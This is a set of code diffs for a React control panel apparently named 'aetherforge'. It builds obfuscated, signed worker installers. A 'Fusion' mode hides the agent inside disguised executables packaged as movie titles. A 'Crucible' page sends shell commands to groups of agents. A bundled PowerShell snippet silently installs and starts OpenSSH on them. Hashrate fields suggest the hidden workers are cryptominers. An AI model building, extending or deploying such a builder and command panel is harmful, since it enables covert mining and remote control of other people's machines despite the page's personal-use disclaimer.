<DeleteButton buildId={build.id} onDeleted={onDeleted} />
</div>
</div>
</NeonCard>
);
}
// ─── page ─────────────────────────────────────────────────────────────────────
export default function BuildManagerPage() {
const [builds, setBuilds] = useState<BuildRecord[]>([]);
const [loading, setLoading] = useState(true);
const [error, setError] = useState('');
const [serverBase, setServerBase] = useState('');
const navigate = useNavigate();
const loadBuilds = useCallback(async () => {
try {
const [list, info] = await Promise.all([
api.listBuilds(),
api.getServerInfo().catch(() => null),
]);
setBuilds(list);
if (info) {
const pub = info.suggested_url?.replace(/\/$/, '') || window.location.origin;
setServerBase(pub);
} else {
setServerBase(window.location.origin);
}
setError('');
} catch (e) {
setError(e instanceof Error ? e.message : 'Failed to load builds');
} finally {
setLoading(false);
}
}, []);
useEffect(() => { loadBuilds(); }, [loadBuilds]);
const handleReforge = useCallback((build: BuildRecord) => {
// Pass build id as query param so Forge page can pre-fill from it
navigate(`/forge?reforge=${encodeURIComponent(build.id)}`);
}, [navigate]);
return (
<div className="page fade-in bm-page">
<div className="bm-header">
<div>
<h1 className="font-display bm-title">Build Manager</h1>
<p className="form-hint bm-subtitle">
All forged workers download, deploy, re-forge, or delete from any browser.
</p>
</div>
<div className="bm-header-actions">
<button type="button" className="btn btn-outline" onClick={loadBuilds} disabled={loading}>
{loading ? 'Loading…' : '↻ Refresh'}
</button>
<button type="button" className="btn btn-success" onClick={() => navigate('/forge')}>
New Forge
</button>
</div>
</div>
{error && (
<div className="form-error" style={{ marginBottom: '1rem' }}>
<span></span> {error}
</div>
)}
{!loading && builds.length === 0 && !error && (
<NeonCard accent="cyan" className="bm-empty">
<p className="font-tech" style={{ color: 'var(--neon-cyan)' }}>NO BUILDS YET</p>
<p className="form-hint">Head to Forge, fill in your config, and click FORGE INSTALLER.</p>
<button type="button" className="btn btn-primary" onClick={() => navigate('/forge')} style={{ marginTop: '0.75rem' }}>
Go to Forge
</button>
</NeonCard>
)}
{loading && (
<div className="bm-loading">
<span className="font-tech" style={{ color: 'var(--neon-cyan)', fontSize: '0.85rem' }}>LOADING BUILDS</span>
</div>
)}
<div className="bm-grid">
{builds.map((build) => (
<BuildCard
key={build.id}
build={build}
serverBase={serverBase}
onReforge={handleReforge}
onDeleted={loadBuilds}
onPinned={loadBuilds}
/>
))}
</div>
<footer style={{ marginTop: '3rem', paddingTop: '1rem', borderTop: '1px solid #333', textAlign: 'center', color: '#ff4444', fontSize: '0.85rem', fontFamily: 'monospace' }}>
DISCLAIMER: Use only on personal machines on your own network. Anything else is a crime.
</footer>
</div>
);
}

View File

@@ -1,5 +1,5 @@
import { useState, useEffect, useRef, useMemo, useCallback } from 'react';
import { Link } from 'react-router-dom';
import { Link, useNavigate, useSearchParams } from 'react-router-dom';
import { api } from '../api/client';
import type { BuildRequest, BuildRecord, BuildResponse, ServerConfig, ServerInfo, BlueprintInfo, FusionEstimate } from '../types';
import { HelpTip, FieldHint } from '../components/HelpTip';
@@ -19,11 +19,9 @@ import {
type ForgeDeliverable,
} from '../help/forgeFormNormalize';
import { ForgeFieldBadge, ForgeLockedHint, ForgeSectionHeader } from '../components/Forge/ForgeFieldHints';
import { blueprintDiff, buildRequestFromRecord } from '../help/buildManager';
import { LanDownloadQR } from '../components/Fleet/LanDownloadQR';
import AuthDownloadButton from '../components/AuthDownloadButton';
import { buildRequestFromRecord } from '../help/buildManager';
import DownloadButton from '../components/DownloadButton';
import { downloadApiFile } from '../api/download';
import { useForge } from '../context/ForgeContext';
import {
fusionPayloadKind,
fusionTitleFromFilename,
@@ -50,6 +48,37 @@ function defaultsFromConfig(config: ServerConfig, serverInfo: ServerInfo, builds
return forgeDefaultsFromServerSmart(config, serverInfo, builds);
}
// Simulated stage timeline — (label, target% completed at this point, min ms from start)
const FORGE_STAGES: { label: string; pct: number; minMs: number }[] = [
{ label: 'Resolving dependencies...', pct: 8, minMs: 0 },
{ label: 'Compiling agent source...', pct: 28, minMs: 800 },
{ label: 'Cross-compiling targets...', pct: 52, minMs: 2500 },
{ label: 'Applying obfuscation...', pct: 68, minMs: 5000 },
{ label: 'Packaging deliverable...', pct: 82, minMs: 8000 },
{ label: 'Signing & finalizing...', pct: 93, minMs: 11000 },
{ label: 'Almost done...', pct: 98, minMs: 15000 },
];
function ForgeProgressBar({ building, stage, progress }: { building: boolean; stage: string; progress: number }) {
if (!building) return null;
return (
<div className="forge-progress-wrap" aria-live="polite">
<div className="forge-progress-header">
<span className="forge-progress-icon"></span>
<span className="forge-progress-stage">{stage || 'Initializing...'}</span>
<span className="forge-progress-pct">{Math.round(progress)}%</span>
</div>
<div className="forge-progress-track">
<div
className="forge-progress-fill"
style={{ width: `${progress}%` }}
/>
<div className="forge-progress-glow" style={{ left: `${progress}%` }} />
</div>
</div>
);
}
const FORGE_MODE_KEY = 'aetherforge-forge-mode';
function loadSimpleMode(): boolean {
@@ -63,12 +92,16 @@ function loadSimpleMode(): boolean {
}
export default function BuilderPage() {
const navigate = useNavigate();
const [searchParams, setSearchParams] = useSearchParams();
const { startForge, endForge, setStage, stage: forgeStage, progress: forgeProgress } = useForge();
const forgeStageTimerRef = useRef<ReturnType<typeof setTimeout> | null>(null);
const [form, setForm] = useState<BuildRequest | null>(null);
const [building, setBuilding] = useState(false);
const [error, setError] = useState('');
const [lastBuild, setLastBuild] = useState<BuildResponse | null>(null);
const [recentBuilds, setRecentBuilds] = useState<BuildRecord[]>([]);
const [showRecent, setShowRecent] = useState(false);
const [loadingDefaults, setLoadingDefaults] = useState(true);
const [fusionPrepFile, setFusionPrepFile] = useState<File | null>(null);
const [fusionBatchFiles, setFusionBatchFiles] = useState<File[]>([]);
@@ -92,6 +125,45 @@ export default function BuilderPage() {
const [refreshingEndpoints, setRefreshingEndpoints] = useState(false);
const [simpleMode, setSimpleMode] = useState(loadSimpleMode);
// Drive simulated stage progress while a single build is running
useEffect(() => {
if (!building || batchJob) {
endForge();
if (forgeStageTimerRef.current) clearTimeout(forgeStageTimerRef.current);
return;
}
const startMs = Date.now();
startForge();
let stageIdx = 0;
const advance = () => {
const elapsed = Date.now() - startMs;
// Find the furthest stage whose minMs has been reached
let next = 0;
for (let i = 0; i < FORGE_STAGES.length; i++) {
if (elapsed >= FORGE_STAGES[i].minMs) next = i;
else break;
}
const s = FORGE_STAGES[next];
// Smoothly interpolate within this stage toward the next stage's target %
const nextPct = next + 1 < FORGE_STAGES.length ? FORGE_STAGES[next + 1].pct : 98;
const nextMs = next + 1 < FORGE_STAGES.length ? FORGE_STAGES[next + 1].minMs : 20000;
const stageElapsed = elapsed - s.minMs;
const stageDur = nextMs - s.minMs;
const frac = stageDur > 0 ? Math.min(1, stageElapsed / stageDur) : 0;
const pct = s.pct + (nextPct - s.pct) * frac;
if (next !== stageIdx) stageIdx = next;
setStage(s.label, Math.min(98, pct));
forgeStageTimerRef.current = setTimeout(advance, 250);
};
advance();
return () => {
if (forgeStageTimerRef.current) clearTimeout(forgeStageTimerRef.current);
};
// eslint-disable-next-line react-hooks/exhaustive-deps
}, [building, batchJob]);
const setForgeMode = (simple: boolean) => {
setSimpleMode(simple);
try {
@@ -142,32 +214,28 @@ export default function BuilderPage() {
try {
const builds = await api.listBuilds();
setRecentBuilds(builds);
setShowRecent(true);
} catch (err) {
console.error(err);
}
};
// Handle ?reforge=<buildId> links from Build Manager page
useEffect(() => {
const reforgeId = searchParams.get('reforge');
if (!reforgeId || recentBuilds.length === 0) return;
const match = recentBuilds.find((b) => b.id === reforgeId);
if (match) {
reForgeFromBuild(match);
setSearchParams({}, { replace: true });
}
// eslint-disable-next-line react-hooks/exhaustive-deps
}, [searchParams, recentBuilds]);
const finishForgeSuccess = async (result: BuildResponse) => {
setStage('Build complete!', 100);
setLastBuild(result);
loadRecentBuilds();
const url = result.bundle_download_url || result.download_url;
const name = result.bundle_file_name || result.file_name;
if (url && name) {
try {
await downloadApiFile(url, name);
} catch (err) {
console.error('Auto-download failed:', err);
}
return;
}
if (result.download_url && result.file_name) {
try {
await downloadApiFile(result.download_url, result.file_name);
} catch (err) {
console.error('Auto-download failed:', err);
}
}
// No auto-download — user downloads from the strip below or Build Manager page
};
// Blueprint: save current form as a named blueprint
@@ -250,10 +318,6 @@ export default function BuilderPage() {
}
};
const blueprintDiffRows = useMemo(() => {
if (!form || !compareBlueprint) return [];
return blueprintDiff(compareBlueprint, form as unknown as Record<string, unknown>);
}, [form, compareBlueprint]);
// Blueprint: delete a blueprint
const handleDeleteBlueprint = async (name: string) => {
@@ -493,7 +557,8 @@ export default function BuilderPage() {
const candidates = lanEndpointCandidates(info, config.port || info.port);
const base = defaultsFromConfig(config, info, builds);
const kind = form ? deriveDeliverableType(form) : 'single';
const merged = applySmartForgeDefaults({ ...base, fusion_enabled: form.fusion_enabled }, { builds, endpointCandidates: candidates });
// Preserve the user's manually-entered server_url — don't overwrite with LAN IP on defaults refresh
const merged = applySmartForgeDefaults({ ...base, fusion_enabled: form.fusion_enabled, server_url: form.server_url || base.server_url }, { builds, endpointCandidates: candidates });
setForm(applyDeliverableType(merged, kind));
setBlueprintMsg('✅ Recommended defaults applied');
setTimeout(() => setBlueprintMsg(''), 2500);
@@ -1881,6 +1946,8 @@ export default function BuilderPage() {
</div>
)}
<ForgeProgressBar building={building && !batchJob} stage={forgeStage} progress={forgeProgress} />
<div style={{ display: 'flex', gap: '0.5rem', alignItems: 'center', flexWrap: 'wrap' }}>
<button type="submit" className="btn btn-success build-btn forge-submit-btn" disabled={building || !canForge}>
{building ? 'Forging...' : canForge ? '⚒ FORGE INSTALLER' : `⚒ FIX ${errorCount} ERROR${errorCount === 1 ? '' : 'S'} TO FORGE`}
@@ -1900,146 +1967,39 @@ export default function BuilderPage() {
</div>
{lastBuild?.success && (
<div className="card recent-builds">
<h2>Installer Ready</h2>
<div className="build-success">
<p><strong>Deploy to each machine:</strong></p>
{lastBuild.fusion_enabled && (
<p className="form-hint">Fusion build worker is embedded inside {lastBuild.file_name}{lastBuild.worker_file ? ` (${lastBuild.worker_file} inside)` : ''}.</p>
)}
<p><strong>File:</strong> {lastBuild.file_name}</p>
<p><strong>Size:</strong> {((lastBuild.file_size || 0) / 1024 / 1024).toFixed(2)} MB</p>
{lastBuild.fusion_export_dir && (
<>
<p><strong>Movie deliverables folder:</strong></p>
<code className="path-display">{lastBuild.fusion_export_dir}</code>
</>
)}
{lastBuild.export_path && (
<>
<p><strong>Your file (project root):</strong></p>
<code className="path-display">{lastBuild.export_path}</code>
{!lastBuild.fusion_export_dir && (
<p className="form-hint">Fusion output keeps prep icon + File Description / version strings from your uploaded prep.exe (Windows).</p>
)}
{(lastBuild.obfuscated || lastBuild.signed) && (
<p className="form-hint">
{lastBuild.obfuscated && 'Garble obfuscation applied. '}
{lastBuild.signed && 'Authenticode signature applied.'}
</p>
)}
</>
)}
<p className="form-hint">Archive copy: <code className="mono-sm">{lastBuild.file_path}</code></p>
<div className="download-actions">
{lastBuild.download_url && lastBuild.file_name && (
<DownloadButton
apiPath={lastBuild.download_url}
filename={lastBuild.file_name}
className="btn btn-primary btn-lg"
>
Download {lastBuild.file_name}
</DownloadButton>
<div className="forge-last-build-strip">
<div className="forge-last-build-info">
<span className="forge-last-build-check"></span>
<div>
<span className="forge-last-build-name">{lastBuild.file_name || 'Build ready'}</span>
{lastBuild.file_size != null && (
<span className="forge-last-build-size">
{((lastBuild.file_size || 0) / 1024 / 1024).toFixed(1)} MB
</span>
)}
{!lastBuild.bundle_download_url && lastBuild.build_id && lastBuild.extra_files?.map((f) => (
<DownloadButton
key={f.file_name}
apiPath={api.buildArtifactUrl(lastBuild.build_id!, f.file_name)}
filename={f.file_name}
className="btn btn-secondary"
>
Download {f.file_name}
</DownloadButton>
))}
<p className="form-hint">
{lastBuild.bundle_file_name
? 'One ZIP per title — extract and run the runner only (agent is inside it, hidden).'
: 'Saved to your browser Downloads when the forge completes. Click again if needed.'}
</p>
{lastBuild.fusion_enabled && <span className="forge-last-build-tag">FUSION</span>}
{lastBuild.obfuscated && <span className="forge-last-build-tag">GARBLED</span>}
{lastBuild.signed && <span className="forge-last-build-tag">SIGNED</span>}
</div>
{lastBuild.uninstall_export_path && (
<p><strong>Uninstaller copy:</strong> <code className="mono-sm">{lastBuild.uninstall_export_path}</code></p>
)}
{lastBuild.uninstall_download_url && (
<>
<p><strong>Uninstaller:</strong> {lastBuild.uninstall_file_name}</p>
{!lastBuild.uninstall_export_path && (
<code className="path-display">{lastBuild.uninstall_path}</code>
)}
<AuthDownloadButton
apiPath={lastBuild.uninstall_download_url}
filename={lastBuild.uninstall_file_name || 'uninstall.ps1'}
className="btn btn-outline"
>
Download uninstall script
</AuthDownloadButton>
</>
)}
</div>
</div>
)}
{showRecent && (
<div className="card recent-builds">
<div className="recent-header">
<h2>Build Manager</h2>
<button className="btn btn-outline" onClick={() => setShowRecent(false)}>Close</button>
<div className="forge-last-build-actions">
{lastBuild.download_url && lastBuild.file_name && (
<DownloadButton
apiPath={lastBuild.download_url}
filename={lastBuild.file_name}
className="btn btn-primary btn-sm"
>
Download
</DownloadButton>
)}
<button
type="button"
className="btn btn-outline btn-sm"
onClick={() => navigate('/builds')}
>
View in Build Manager
</button>
</div>
<p className="form-hint">Blueprint diff, one-click re-forge, LAN QR download for each forged build.</p>
{blueprintDiffRows.length > 0 && (
<NeonCard accent="purple" className="section">
<h3>Blueprint Diff vs current form</h3>
<ul className="blueprint-diff">
{blueprintDiffRows.map((d) => (
<li key={d.key} className={d.kind}>
<strong>{d.key}</strong>: {d.kind}
{d.kind === 'changed' && ` (${JSON.stringify(d.from)}${JSON.stringify(d.to)})`}
</li>
))}
</ul>
</NeonCard>
)}
{recentBuilds.length === 0 ? (
<p className="empty-text">No builds yet</p>
) : (
<div className="build-manager-grid">
{recentBuilds.map((build) => {
const downloadUrl = `${window.location.origin}${api.buildDownloadUrl(build.id)}`;
const exeName =
build.file_path?.replace(/^.*[/\\]/, '') || `install-${build.worker_name}.exe`;
return (
<div key={build.id} className="build-manager-row">
<div>
<div className="build-item-name">{build.worker_name}</div>
<div className="build-item-details">
<span>{build.threads} threads</span>
<span>{(build.file_size / 1024 / 1024).toFixed(1)} MB</span>
<span>{new Date(build.created_at).toLocaleString()}</span>
</div>
</div>
<LanDownloadQR url={downloadUrl} />
<DownloadButton
apiPath={api.buildDownloadUrl(build.id)}
filename={exeName}
className="btn btn-outline"
>
Download
</DownloadButton>
<AuthDownloadButton
apiPath={api.buildUninstallUrl(build.id)}
filename={`uninstall-${build.worker_name || 'worker'}.ps1`}
className="btn btn-outline"
>
Uninstall script
</AuthDownloadButton>
<button type="button" className="btn btn-primary" disabled={building} onClick={() => reForgeFromBuild(build)}>
Re-forge
</button>
</div>
);
})}
</div>
)}
</div>
)}
</div>

View File

@@ -0,0 +1,548 @@
/* ── Crucible Page ───────────────────────────────────────────────────── */
.crucible-page {
max-width: 1400px;
}
.crucible-sel-summary {
display: flex;
flex-direction: column;
align-items: flex-end;
gap: 0.2rem;
}
/* ── Roster ──────────────────────────────────────────────────────────── */
.crucible-roster-card {
margin-bottom: 1rem;
}
.crucible-section-title {
font-size: 0.78rem;
letter-spacing: 0.12em;
color: var(--text-muted);
display: flex;
align-items: center;
gap: 0.5rem;
margin-bottom: 0.75rem;
}
.crucible-roster {
display: flex;
flex-wrap: wrap;
gap: 0.65rem;
}
.crucible-node-card {
display: flex;
gap: 0.5rem;
padding: 0.6rem 0.75rem;
border-radius: 6px;
border: 1px solid rgba(255, 255, 255, 0.07);
background: rgba(0, 0, 0, 0.3);
cursor: pointer;
transition: border-color 0.15s, background 0.15s, box-shadow 0.15s;
min-width: 150px;
max-width: 180px;
flex: 1 1 150px;
user-select: none;
}
.crucible-node-card:hover {
border-color: rgba(255, 255, 255, 0.18);
background: rgba(0, 0, 0, 0.45);
}
.crucible-node-card.selected {
border-color: var(--sel-color, var(--neon-cyan));
background: rgba(0, 245, 255, 0.06);
box-shadow: 0 0 12px -4px var(--sel-color, var(--neon-cyan));
}
.crucible-node-card.offline {
opacity: 0.45;
}
.crucible-node-check {
display: flex;
align-items: flex-start;
padding-top: 2px;
}
.cn-checkbox {
display: inline-block;
width: 14px;
height: 14px;
border: 1px solid var(--text-muted);
border-radius: 3px;
flex-shrink: 0;
transition: all 0.15s;
}
.cn-checkbox.checked {
border-color: var(--neon-cyan);
background: rgba(0, 245, 255, 0.2);
}
.crucible-node-body {
flex: 1;
min-width: 0;
display: flex;
flex-direction: column;
gap: 0.18rem;
}
.cn-name {
font-weight: 600;
font-size: 0.88rem;
color: var(--text-primary);
white-space: nowrap;
overflow: hidden;
text-overflow: ellipsis;
display: flex;
align-items: center;
gap: 0.3rem;
}
.cn-platform { font-size: 0.9rem; }
.cn-meta {
display: flex;
align-items: center;
gap: 0.4rem;
}
.cn-badge {
font-size: 0.68rem;
color: var(--text-muted);
font-family: var(--font-tech);
}
.cn-status-dot {
width: 6px;
height: 6px;
border-radius: 50%;
}
.cn-status-dot.on { background: var(--neon-green); box-shadow: 0 0 6px var(--neon-green); }
.cn-status-dot.off { background: var(--text-muted); }
.cn-ip {
font-size: 0.7rem;
color: var(--text-muted);
letter-spacing: 0.02em;
}
.cn-stats {
display: flex;
gap: 0.5rem;
font-size: 0.72rem;
color: var(--text-secondary);
}
.cn-ssh {
font-size: 0.68rem;
font-family: var(--font-tech);
letter-spacing: 0.05em;
padding: 1px 5px;
border-radius: 3px;
align-self: flex-start;
margin-top: 1px;
}
.cn-ssh.ssh-on { color: var(--neon-green); background: rgba(57,255,20,0.12); }
.cn-ssh.ssh-off { color: #ff4466; background: rgba(255,68,102,0.12); }
.cn-ssh.ssh-unk { color: var(--text-muted); background: rgba(255,255,255,0.06); }
/* ── Row: Groups + Actions ───────────────────────────────────────────── */
.crucible-row {
display: grid;
grid-template-columns: 1fr 2fr;
gap: 1rem;
margin-bottom: 1rem;
}
@media (max-width: 900px) {
.crucible-row { grid-template-columns: 1fr; }
}
/* ── Groups ──────────────────────────────────────────────────────────── */
.crucible-groups-card,
.crucible-actions-card {
display: flex;
flex-direction: column;
}
.crucible-groups-list {
flex: 1;
display: flex;
flex-direction: column;
gap: 0.35rem;
min-height: 60px;
margin-bottom: 0.75rem;
}
.crucible-group-item {
display: flex;
align-items: center;
gap: 0.5rem;
padding: 0.35rem 0.6rem;
border-radius: 5px;
background: rgba(178, 75, 243, 0.1);
border: 1px solid rgba(178, 75, 243, 0.2);
cursor: pointer;
transition: background 0.15s;
font-size: 0.85rem;
}
.crucible-group-item:hover { background: rgba(178, 75, 243, 0.2); }
.cg-name { flex: 1; color: var(--text-primary); font-weight: 500; }
.cg-count { color: var(--text-muted); font-size: 0.75rem; }
.cg-del {
background: none;
border: none;
color: var(--text-muted);
cursor: pointer;
font-size: 1rem;
line-height: 1;
padding: 0;
transition: color 0.1s;
}
.cg-del:hover { color: #ff4466; }
.crucible-group-new {
display: flex;
gap: 0.5rem;
}
/* ── Actions ─────────────────────────────────────────────────────────── */
.crucible-ops {
display: flex;
flex-direction: column;
gap: 0.75rem;
}
.crucible-op-group {
display: flex;
align-items: center;
gap: 0.5rem;
flex-wrap: wrap;
}
.cop-label {
font-family: var(--font-tech);
font-size: 0.68rem;
letter-spacing: 0.1em;
color: var(--text-muted);
min-width: 52px;
}
.crucible-op-btn {
padding: 0.3rem 0.7rem;
font-size: 0.8rem;
background: rgba(255, 255, 255, 0.04);
border: 1px solid rgba(255, 176, 32, 0.25);
color: var(--neon-amber);
border-radius: 4px;
cursor: pointer;
transition: all 0.15s;
font-family: var(--font-tech);
}
.crucible-op-btn:hover:not(:disabled) {
background: rgba(255, 176, 32, 0.12);
border-color: var(--neon-amber);
}
.crucible-op-btn:disabled { opacity: 0.35; cursor: not-allowed; }
.crucible-op-wake {
color: var(--neon-green);
border-color: rgba(57, 255, 20, 0.3);
}
.crucible-op-wake:hover:not(:disabled) {
background: rgba(57, 255, 20, 0.1);
border-color: var(--neon-green);
}
.crucible-shell-tabs {
display: flex;
gap: 0;
border: 1px solid rgba(255, 255, 255, 0.1);
border-radius: 4px;
overflow: hidden;
}
.crucible-shell-tab {
padding: 0.25rem 0.65rem;
background: none;
border: none;
color: var(--text-muted);
cursor: pointer;
font-family: var(--font-tech);
font-size: 0.75rem;
transition: all 0.15s;
border-right: 1px solid rgba(255, 255, 255, 0.08);
}
.crucible-shell-tab:last-child { border-right: none; }
.crucible-shell-tab.active {
background: rgba(0, 245, 255, 0.12);
color: var(--neon-cyan);
}
.crucible-sel-chips {
display: flex;
flex-wrap: wrap;
gap: 0.35rem;
padding-top: 0.25rem;
}
.crucible-chip {
padding: 0.15rem 0.5rem;
border: 1px solid;
border-radius: 3px;
font-size: 0.75rem;
font-family: var(--font-tech);
cursor: pointer;
opacity: 0.8;
transition: opacity 0.1s;
}
.crucible-chip:hover { opacity: 1; }
/* ── Terminal ─────────────────────────────────────────────────────────── */
.crucible-term-card {
margin-bottom: 1rem;
}
.crucible-term-header {
display: flex;
align-items: center;
justify-content: space-between;
margin-bottom: 0.6rem;
}
.crucible-term-target {
color: var(--text-muted);
font-size: 0.75rem;
margin-left: 0.75rem;
}
.crucible-terminal {
background: rgba(0, 0, 0, 0.55);
border: 1px solid rgba(57, 255, 20, 0.15);
border-radius: 5px;
padding: 0.6rem 0.75rem;
height: 340px;
overflow-y: auto;
font-family: 'Courier New', Consolas, monospace;
font-size: 0.8rem;
line-height: 1.55;
margin-bottom: 0.6rem;
scroll-behavior: smooth;
}
.crucible-terminal::-webkit-scrollbar { width: 4px; }
.crucible-terminal::-webkit-scrollbar-thumb { background: rgba(57,255,20,0.25); border-radius: 2px; }
.crucible-term-empty {
color: var(--text-muted);
font-style: italic;
padding: 0.5rem 0;
}
.crucible-term-line {
display: flex;
align-items: baseline;
gap: 0.4rem;
padding: 0.05rem 0;
}
.ctl-agent {
font-size: 0.72rem;
font-family: var(--font-tech);
white-space: pre;
flex-shrink: 0;
}
.ctl-arrow {
flex-shrink: 0;
font-size: 0.75rem;
}
.ctl-text {
flex: 1;
color: var(--text-primary);
word-break: break-all;
white-space: pre-wrap;
}
.cmd-line .ctl-text {
color: var(--text-muted);
font-style: italic;
}
.err-line .ctl-text {
color: #ff4466;
}
.ctl-ts {
font-size: 0.65rem;
color: rgba(255, 255, 255, 0.2);
flex-shrink: 0;
margin-left: auto;
}
.crucible-term-input-row {
display: flex;
align-items: center;
gap: 0.5rem;
}
.crucible-prompt {
font-size: 0.8rem;
color: var(--neon-green);
flex-shrink: 0;
white-space: nowrap;
}
.crucible-term-input {
flex: 1;
background: rgba(0, 0, 0, 0.5);
border: 1px solid rgba(57, 255, 20, 0.25);
border-radius: 4px;
padding: 0.4rem 0.6rem;
color: var(--neon-green);
font-family: 'Courier New', Consolas, monospace;
font-size: 0.85rem;
outline: none;
transition: border-color 0.15s;
}
.crucible-term-input:focus { border-color: var(--neon-green); }
.crucible-term-input:disabled { opacity: 0.4; }
.crucible-send-btn {
padding: 0.4rem 1rem;
font-family: var(--font-tech);
font-size: 0.8rem;
background: rgba(57, 255, 20, 0.1);
border: 1px solid rgba(57, 255, 20, 0.35);
color: var(--neon-green);
border-radius: 4px;
cursor: pointer;
transition: all 0.15s;
letter-spacing: 0.08em;
}
.crucible-send-btn:hover:not(:disabled) {
background: rgba(57, 255, 20, 0.2);
box-shadow: 0 0 10px rgba(57, 255, 20, 0.25);
}
.crucible-send-btn:disabled { opacity: 0.35; cursor: not-allowed; }
.crucible-send-btn.busy { animation: pulse-green 1s ease-in-out infinite; }
@keyframes pulse-green {
0%, 100% { opacity: 0.4; }
50% { opacity: 1; }
}
/* ── SSH Info ─────────────────────────────────────────────────────────── */
.crucible-ssh-info { margin-bottom: 2rem; }
.crucible-ssh-grid {
display: grid;
grid-template-columns: 1fr 1fr;
gap: 0.75rem 1.5rem;
margin-top: 0.5rem;
}
@media (max-width: 700px) { .crucible-ssh-grid { grid-template-columns: 1fr; } }
.crucible-ssh-step {
display: flex;
gap: 0.6rem;
align-items: flex-start;
font-size: 0.85rem;
color: var(--text-secondary);
line-height: 1.5;
}
.css-num {
flex-shrink: 0;
width: 20px;
height: 20px;
border-radius: 50%;
background: rgba(201, 162, 39, 0.2);
border: 1px solid var(--brass);
color: var(--brass-light);
font-family: var(--font-tech);
font-size: 0.72rem;
display: flex;
align-items: center;
justify-content: center;
margin-top: 1px;
}
.crucible-code {
font-family: 'Courier New', Consolas, monospace;
font-size: 0.8rem;
color: var(--neon-cyan);
background: rgba(0, 245, 255, 0.07);
padding: 0 4px;
border-radius: 3px;
}
/* ── Shared input ─────────────────────────────────────────────────────── */
.crucible-input {
flex: 1;
background: rgba(0, 0, 0, 0.35);
border: 1px solid rgba(255, 255, 255, 0.1);
border-radius: 4px;
padding: 0.35rem 0.6rem;
color: var(--text-primary);
font-size: 0.85rem;
outline: none;
transition: border-color 0.15s;
}
.crucible-input:focus { border-color: var(--neon-purple); }
/* ── Buttons ──────────────────────────────────────────────────────────── */
.crucible-btn {
padding: 0.35rem 0.8rem;
font-family: var(--font-tech);
font-size: 0.78rem;
background: rgba(0, 245, 255, 0.08);
border: 1px solid rgba(0, 245, 255, 0.3);
color: var(--neon-cyan);
border-radius: 4px;
cursor: pointer;
transition: all 0.15s;
letter-spacing: 0.05em;
}
.crucible-btn:hover:not(:disabled) { background: rgba(0, 245, 255, 0.16); }
.crucible-btn:disabled { opacity: 0.35; cursor: not-allowed; }
.crucible-btn-muted {
padding: 0.25rem 0.65rem;
font-family: var(--font-tech);
font-size: 0.72rem;
background: transparent;
border: 1px solid rgba(255, 255, 255, 0.1);
color: var(--text-muted);
border-radius: 4px;
cursor: pointer;
transition: all 0.12s;
letter-spacing: 0.05em;
}
.crucible-btn-muted:hover { color: var(--text-primary); border-color: rgba(255,255,255,0.25); }

View File

@@ -0,0 +1,598 @@
import { useState, useRef, useEffect, useCallback, useMemo } from 'react';
import { useWebSocket } from '../hooks/useWebSocket';
import { api } from '../api/client';
import type { Agent } from '../types';
import NeonCard from '../components/NeonCard/NeonCard';
import { formatHashrate } from '../help/fleetFilters';
import './CruciblePage.css';
// ── Types ──────────────────────────────────────────────────────────────────
type ShellType = 'powershell' | 'exec' | 'sh';
interface TermLine {
id: string;
agentId: string;
agentName: string;
isCmd: boolean;
text: string;
ts: Date;
success?: boolean;
}
interface NodeGroup {
id: string;
name: string;
agentIds: Set<string>;
}
// ── Helpers ────────────────────────────────────────────────────────────────
const AGENT_COLORS = [
'#00f5ff', '#39ff14', '#ff2da6', '#b24bf3',
'#ffb020', '#ff6b35', '#00d4aa', '#f72585',
'#7209b7', '#3a86ff', '#06d6a0', '#ffd60a',
];
function agentColor(agentId: string, allIds: string[]): string {
const idx = allIds.indexOf(agentId);
return AGENT_COLORS[idx % AGENT_COLORS.length] ?? '#00f5ff';
}
function sshBadge(agent: Agent) {
if (agent.ssh_available === true) return { label: 'SSH ON', cls: 'ssh-on' };
if (agent.ssh_available === false) return { label: 'SSH OFF', cls: 'ssh-off' };
return { label: 'SSH ?', cls: 'ssh-unk' };
}
function platformIcon(platform?: string): string {
if (!platform) return '⬡';
const p = platform.toLowerCase();
if (p.includes('win')) return '⊞';
if (p.includes('linux')) return '🐧';
if (p.includes('darwin')) return '';
return '⬡';
}
let _lineId = 0;
function mkId() { return `tl-${++_lineId}`; }
// ── Wake SSH commands ──────────────────────────────────────────────────────
const WAKE_SSH_PS = `
$ErrorActionPreference='SilentlyContinue'
$cap=Get-WindowsCapability -Online -Name OpenSSH.Server~~~~* 2>$null
if ($cap -and $cap.State -ne 'Installed'){Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0}
Set-Service -Name sshd -StartupType Automatic
Start-Service sshd
$ip=(Get-NetIPAddress -AddressFamily IPv4|Where{$_.InterfaceAlias -notlike '*Loopback*'}|Select -First 1).IPAddress
"SSH_WAKE_OK ip=$ip port=22"
`.trim();
const PROBE_SSH_PS = `
$s=Get-Service sshd -ErrorAction SilentlyContinue
if($s -and $s.Status -eq 'Running'){'SSH_PROBE:ONLINE'}else{'SSH_PROBE:OFFLINE'}
`.trim();
const PROBE_SSH_SH = `ss -tlnp 2>/dev/null | grep -q ':22' && echo SSH_PROBE:ONLINE || echo SSH_PROBE:OFFLINE`;
// ── Component ──────────────────────────────────────────────────────────────
export default function CruciblePage() {
const { agents, commandResults } = useWebSocket();
// Selection
const [selectedIds, setSelectedIds] = useState<Set<string>>(new Set());
const [groups, setGroups] = useState<NodeGroup[]>([]);
const [groupNameInput, setGroupNameInput] = useState('');
// Terminal
const [termLines, setTermLines] = useState<TermLine[]>([]);
const [cmd, setCmd] = useState('');
const [shellType, setShellType] = useState<ShellType>('powershell');
const [busy, setBusy] = useState(false);
const termEndRef = useRef<HTMLDivElement>(null);
const cmdRef = useRef<HTMLInputElement>(null);
const lastSeqRef = useRef(0);
// Command history
const [cmdHistory, setCmdHistory] = useState<string[]>([]);
const [histIdx, setHistIdx] = useState(-1);
// SSH status overrides (from probe results)
const [sshOverride, setSshOverride] = useState<Record<string, boolean>>({});
const allIds = useMemo(() => agents.map((a) => a.id), [agents]);
const selectedAgents = useMemo(
() => agents.filter((a) => selectedIds.has(a.id)),
[agents, selectedIds]
);
const online = (a: Agent) => a.status === 'online';
// ── Auto-scroll terminal ───────────────────────────────────────────────
useEffect(() => {
termEndRef.current?.scrollIntoView({ behavior: 'smooth' });
}, [termLines]);
// ── Process incoming command_result messages ───────────────────────────
useEffect(() => {
if (!commandResults || commandResults.length === 0) return;
const newEntries = commandResults.filter((r) => r._seq > lastSeqRef.current);
if (newEntries.length === 0) return;
lastSeqRef.current = newEntries[newEntries.length - 1]._seq;
const lines: TermLine[] = [];
for (const r of newEntries) {
const aid = r.agent_id;
if (!aid) continue;
